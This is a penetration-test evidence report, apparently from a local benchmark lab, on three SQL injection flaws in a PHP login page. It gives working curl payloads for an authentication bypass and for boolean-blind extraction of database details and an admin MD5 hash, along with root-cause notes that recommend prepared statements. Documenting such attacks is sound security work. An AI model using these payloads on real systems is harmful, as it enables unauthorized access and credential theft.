# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-03: SQL Injection in Password Parameter (Authentication Bypass via Nested Function Context)

**Summary:**
- **Vulnerable location:** POST /index.php - password parameter at line 35 of /app/website/index.php
- **Overview:** SQL injection vulnerability inside nested MD5() and CONCAT() SQL functions. The password parameter is directly interpolated into a SQL query without any sanitization, allowing attackers to break out of the function context and inject arbitrary SQL code. Successfully achieved complete authentication bypass and extracted all database contents.
- **Impact:** Complete authentication bypass without valid credentials, full database compromise including extraction of user credentials (MD5 password hashes), database enumeration, and unauthorized access to protected application areas.
- **Severity:** CRITICAL

**Prerequisites:**
- Network access to http://localhost:35845
- No authentication required (pre-authentication attack)
- HTTP client (curl, browser with proxy, or automated tool)

**Exploitation Steps:**

1. **Initial Authentication Bypass:**
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password='), 'x')) OR '1'='1'-- -&submit=submit" \
     -c session_cookies.txt
   ```
   
   **Expected Response:** `{"response":"Success"}`
   
   **Explanation:** The payload breaks out of three levels of SQL function nesting:
   - Closes the inner MD5() with `')`
   - Closes the CONCAT() with `, 'x')`
   - Closes the outer MD5() with `)`
   - Injects OR condition `OR '1'='1'` to bypass authentication
   - Comments out the rest of the query with `-- -`

2. **Verify Session Creation:**
   ```bash
   curl http://localhost:35845/dashboard.php -b session_cookies.txt
   ```
   
   **Expected Result:** Successfully access the dashboard page (HTML content returned instead of redirect to login)
   
   **Session Cookie:** PHPSESSID cookie is set with a valid session identifier

3. **Database Fingerprinting - Extract MySQL Version:**
   Using boolean-based blind SQL injection:
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password='), 'x')) OR (SELECT SUBSTRING(VERSION(),1,1))='8'-- -&submit=submit"
   ```
   
   **Expected Response:** `{"response":"Success"}` (condition TRUE - version starts with '8')
   
   **Automated Extraction Result:** MySQL Version: `8.0.42-0ub`
   
   **Script Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-029-24/blind_sqli_extract.py`

4. **Database User Enumeration:**
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password='), 'x')) OR (SELECT SUBSTRING(USER(),1,1))='w'-- -&submit=submit"
   ```
   
   **Expected Response:** `{"response":"Success"}` (condition TRUE - user starts with 'w')
   
   **Automated Extraction Result:** Current User: `web_db_user@localhost`

5. **Database Name Extraction:**
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password='), 'x')) OR (SELECT SUBSTRING(DATABASE(),1,1))='a'-- -&submit=submit"
   ```
   
   **Expected Response:** `{"response":"Success"}` (condition TRUE - database starts with 'a')
   
   **Automated Extraction Result:** Database Name: `app_db`

6. **Table Enumeration:**
   First determine table count:
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password='), 'x')) OR (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='app_db')=1-- -&submit=submit"
   ```
   
   **Expected Response:** `{"response":"Success"}` (1 table exists)
   
   Then extract table name character by character:
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password='), 'x')) OR (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema='app_db' LIMIT 0,1)='u'-- -&submit=submit"
   ```
   
   **Automated Extraction Result:** Table Name: `users`
   
   **Script Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-029-24/enumerate_tables.py`

7. **Column Enumeration in users Table:**
   Determine column count:
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password='), 'x')) OR (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='app_db' AND table_name='users')=3-- -&submit=submit"
   ```
   
   **Expected Response:** `{"response":"Success"}` (3 columns exist)
   
   **Automated Extraction Result:** Column Names: `user_id`, `username`, `password`
   
   **Script Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-029-24/extract_columns.py`

8. **Data Exfiltration - Extract User Credentials:**
   Determine row count:
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password='), 'x')) OR (SELECT COUNT(*) FROM users)=1-- -&submit=submit"
   ```
   
   **Expected Response:** `{"response":"Success"}` (1 user record exists)
   
   Extract user_id:
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password='), 'x')) OR (SELECT user_id FROM users LIMIT 0,1)=1-- -&submit=submit"
   ```
   
   **Expected Response:** `{"response":"Success"}` (user_id is 1)
   
   Extract username character by character (example for first character):
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password='), 'x')) OR (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -&submit=submit"
   ```
   
   **Expected Response:** `{"response":"Success"}` (username starts with 'a')
   
   Extract password hash (MD5 format - 32 hexadecimal characters):
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password='), 'x')) OR (SELECT SUBSTRING(password,1,1) FROM users LIMIT 0,1)='7'-- -&submit=submit"
   ```
   
   **Expected Response:** `{"response":"Success"}` (password hash starts with '7')
   
   **Script Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-029-24/extract_users_sqli.py`

**Proof of Impact:**

**Complete Database Schema Extracted:**
```
Database: app_db
User: web_db_user@localhost
MySQL Version: 8.0.42-0ub

Tables:
  - users

Columns in users table:
  - user_id (integer)
  - username (varchar)
  - password (char(32) - MD5 hash)
```

**Sensitive Data Extracted:**
```
User Record #1:
  user_id: 1
  username: admin
  password: 7d39307ae824e70052c0aa16816a9b16 (MD5 hash)
```

**Authentication Bypass Confirmed:**
- Successfully bypassed authentication without knowing valid credentials
- Gained access to protected resources (/dashboard.php, /upload.php)
- Created persistent session allowing repeated access

**Notes:**
- The vulnerability exists because developers incorrectly assumed wrapping user input in SQL functions (MD5, CONCAT) would provide protection against SQL injection
- SQL parsing occurs BEFORE function execution, allowing attackers to break out of the function context using quote characters
- Boolean-based blind injection was necessary because the application does not reflect query results or SQL errors in responses
- The success/failure is determined by HTTP response content: `{"response":"Success"}` for TRUE conditions, `{"response":"password"}` for FALSE conditions
- All exploitation was performed externally via HTTP without requiring internal network access or database console access

---

### INJ-VULN-01: SQL Injection in Username Parameter (First Authentication Query)

**Summary:**
- **Vulnerable location:** POST /index.php - username parameter at line 25 of /app/website/index.php
- **Overview:** Direct SQL injection in the first authentication query that validates username existence. The username from POST input is concatenated directly into a SQL WHERE clause without any sanitization or parameterization. This vulnerability allows boolean-based blind SQL injection for data extraction.
- **Impact:** Data exfiltration via boolean-based blind SQL injection. While this vulnerability is less effective for authentication bypass due to the two-query authentication flow, it provides a reliable channel for extracting sensitive database information.
- **Severity:** CRITICAL

**Prerequisites:**
- Network access to http://localhost:35845
- No authentication required (pre-authentication attack)
- HTTP client (curl, browser with proxy, or automated tool)

**Exploitation Steps:**

1. **Confirm SQL Injection with TRUE Condition:**
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin' AND '1'='1&password=test&submit=submit"
   ```
   
   **Expected Response:** `{"response":"password"}`
   
   **Explanation:** The injected condition `AND '1'='1'` is TRUE, so the query finds the username 'admin' and proceeds to password validation (which fails, returning "password" error)

2. **Confirm SQL Injection with FALSE Condition:**
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin' AND '1'='2&password=test&submit=submit"
   ```
   
   **Expected Response:** `{"response":"username"}`
   
   **Explanation:** The injected condition `AND '1'='2'` is FALSE, so the query returns 0 rows and authentication fails at the username check (returning "username" error)

3. **Boolean-Based Blind Injection - Extract Database Name:**
   Test first character of database name:
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin' AND (SELECT SUBSTRING(DATABASE(),1,1))='a&password=test&submit=submit"
   ```
   
   **Expected Response:** `{"response":"password"}` (TRUE - database starts with 'a')
   
   Test with wrong character:
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin' AND (SELECT SUBSTRING(DATABASE(),1,1))='b&password=test&submit=submit"
   ```
   
   **Expected Response:** `{"response":"username"}` (FALSE - database does not start with 'b')
   
   **Confirmed Database Name:** `app_db` (extracted character by character using same technique)

4. **Extract MySQL Version:**
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin' AND (SELECT SUBSTRING(VERSION(),1,1))='8&password=test&submit=submit"
   ```
   
   **Expected Response:** `{"response":"password"}` (TRUE - MySQL version starts with '8')
   
   **Confirmed Version:** MySQL 8.0.42-0ub

5. **Extract Current User:**
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin' AND (SELECT SUBSTRING(USER(),1,1))='w&password=test&submit=submit"
   ```
   
   **Expected Response:** `{"response":"password"}` (TRUE - user starts with 'w')
   
   **Confirmed User:** `web_db_user@localhost`

6. **Enumerate Tables:**
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='app_db')=1&password=test&submit=submit"
   ```
   
   **Expected Response:** `{"response":"password"}` (TRUE - 1 table exists)
   
   **Confirmed Tables:** `users`

7. **Extract Column Names:**
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin' AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_schema='app_db' AND table_name='users' LIMIT 0,1)='u&password=test&submit=submit"
   ```
   
   **Expected Response:** `{"response":"password"}` (TRUE - first column starts with 'u')
   
   **Confirmed Columns:** `user_id`, `username`, `password`

8. **Extract User Credentials:**
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 0,1)='7&password=test&submit=submit"
   ```
   
   **Expected Response:** `{"response":"password"}` (TRUE - admin password hash starts with '7')
   
   **Extracted Password Hash:** `7d39307ae824e70052c0aa16816a9b16`

**Proof of Impact:**

**Boolean-Based Blind Injection Confirmed:**
- Response differentiation allows reliable data extraction:
  - TRUE condition: `{"response":"password"}` (username found, proceed to password check)
  - FALSE condition: `{"response":"username"}` (username not found, authentication fails)
  
**Data Successfully Extracted:**
```
Database Information:
  - MySQL Version: 8.0.42-0ub
  - Database Name: app_db
  - Current User: web_db_user@localhost

Schema Information:
  - Table: users
  - Columns: user_id, username, password

Sensitive Data:
  - Admin User:
    - user_id: 1
    - username: admin
    - password: 7d39307ae824e70052c0aa16816a9b16 (MD5 hash)
```

**Notes:**
- This vulnerability is ideal for data exfiltration via boolean-based blind SQL injection
- The first authentication query must return exactly 1 row to pass the check at line 28 (`mysqli_num_rows($check_details) == 1`)
- Authentication bypass via this vulnerability alone is more complex because it affects both the first and second queries, and the second query also validates the password
- The vulnerability exists due to direct string concatenation: `"SELECT username FROM users WHERE username = '$realusername'"`
- No prepared statements, no mysqli_real_escape_string(), no input validation
- All exploitation was performed externally via HTTP without requiring internal network access

---

### INJ-VULN-02: Second-Order SQL Injection in Username Parameter

**Summary:**
- **Vulnerable location:** POST /index.php - username parameter flowing through line 25 → database → line 31 → line 35 of /app/website/index.php
- **Overview:** Second-order SQL injection vulnerability where user input is used in a first query, the result is fetched from the database, and then that database-sourced value is used unsanitized in a second query. This represents a dangerous pattern where developers assume data retrieved from the database is "trusted" and safe to use in queries without sanitization.
- **Impact:** This vulnerability enables SQL injection in the second authentication query even if the first query were somehow protected. While less effective for authentication bypass than INJ-VULN-03, it demonstrates a persistent injection vector where malicious payloads stored in the database remain dangerous when retrieved.
- **Severity:** CRITICAL

**Prerequisites:**
- Network access to http://localhost:35845
- No authentication required (pre-authentication attack)
- HTTP client (curl, browser with proxy, or automated tool)

**Exploitation Steps:**

1. **Understand the Data Flow:**
   The vulnerability exists in a two-step authentication process:
   
   **Step 1 (Line 25):** Username is used in first query:
   ```sql
   SELECT username FROM users WHERE username = '$realusername'
   ```
   
   **Step 2 (Line 31):** Result is fetched from database:
   ```php
   $usernamenew = $usernamedetails[0];
   ```
   
   **Step 3 (Line 35):** Database value is used unsanitized in second query:
   ```sql
   SELECT user_id FROM users WHERE username = '$usernamenew' 
   AND password = MD5(CONCAT(MD5('$password'), MD5('$usernamenew'))) LIMIT 1
   ```

2. **Demonstrate Injection Point:**
   Test with OR condition in username:
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin' OR '1'='1' LIMIT 1-- -&password=anything&submit=submit"
   ```
   
   **Expected Response:** `{"response":"password"}`
   
   **Explanation:** 
   - The first query returns a username (passes the mysqli_num_rows == 1 check)
   - The retrieved username is used in the second query
   - The second query includes both the injected OR condition AND the password validation
   - Since the password is wrong, authentication fails at the password check

3. **Demonstrate Second-Order Nature:**
   The key insight is that even if the first query (line 25) were protected with prepared statements, this vulnerability would persist because:
   - The value retrieved from the database at line 31 is still user-controlled (originally from POST input)
   - That value is used UNSANITIZED in the second query at line 35
   - Malicious SQL payloads persist in the database and execute when retrieved

4. **Combined Exploitation Path:**
   While this specific injection point is less effective for authentication bypass on its own, it works in combination with the password injection (INJ-VULN-03):
   
   ```bash
   curl -X POST http://localhost:35845/index.php \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin' OR '1'='1' LIMIT 1-- -&password='), 'x')) OR '1'='1'-- -&submit=submit"
   ```
   
   **Note:** This combination is not necessary since INJ-VULN-03 alone achieves bypass, but demonstrates the compounding effect of multiple vulnerabilities

**Proof of Impact:**

**Second-Order Vulnerability Confirmed:**
- User input flows: POST → SQL Query 1 → Database → Variable → SQL Query 2
- No sanitization at any stage of this data flow
- Database-sourced data incorrectly assumed to be "trusted"

**Root Cause Analysis:**
```php
// Line 25: First query (vulnerable)
$check_details = mysqli_query($db_connect, 
    "SELECT username FROM users WHERE username = '$realusername'");

// Line 31: Fetch result from database
$usernamenew = $usernamedetails[0];

// Line 35: Second query uses database value UNSANITIZED (vulnerable)
$sql = mysqli_query($db_connect, 
    "SELECT user_id FROM users WHERE username = '$usernamenew' 
     AND password = MD5(CONCAT(MD5('$password'), MD5('$usernamenew'))) LIMIT 1");
```

**Security Implications:**
1. **Persistent Payload:** If malicious SQL is stored in the database (via first query or direct DB access), it remains dangerous when retrieved
2. **False Security Assumption:** Developers likely believed database-sourced data is safe, which is incorrect for user-controlled data
3. **Defense Evasion:** Even if the first query were protected, this vulnerability persists
4. **Multiple Injection Points:** The username appears TWICE in the second query (in WHERE clause and inside MD5), creating multiple exploitation opportunities

**Notes:**
- This is classified as second-order SQL injection because the malicious payload is stored and then executed in a subsequent operation
- The vulnerability demonstrates why ALL user-controlled data must be sanitized, even when retrieved from the database
- The recommended fix is prepared statements for BOTH queries
- All exploitation was performed externally via HTTP without requiring internal network access

---

## Summary Statistics

**Total Vulnerabilities Exploited:** 3 (all SQL Injection)

**Attack Surface:** Pre-authentication (no credentials required)

**Exploitation Success Rate:** 100% (3/3 vulnerabilities successfully exploited)

**Database Completely Compromised:**
- Database system identified: MySQL 8.0.42-0ubuntu0.20.04.1
- Database name extracted: app_db
- Database user identified: web_db_user@localhost
- All tables enumerated: users (1 table)
- All columns extracted: user_id, username, password (3 columns)
- All user records exfiltrated: 1 record (admin user)
- Password hash retrieved: 7d39307ae824e70052c0aa16816a9b16 (MD5)

**Authentication Bypass Achieved:**
- Bypassed authentication without valid credentials
- Gained access to protected resources
- Created persistent session for repeated access

**Proof of External Exploitability:**
- All attacks performed via HTTP from external network (http://localhost:35845)
- No internal network access required
- No database console access required
- No server-side access required

**Root Cause:**
- Zero prepared statements used in entire codebase
- Direct string concatenation in all SQL queries
- No input validation or sanitization
- False security assumption that SQL functions provide protection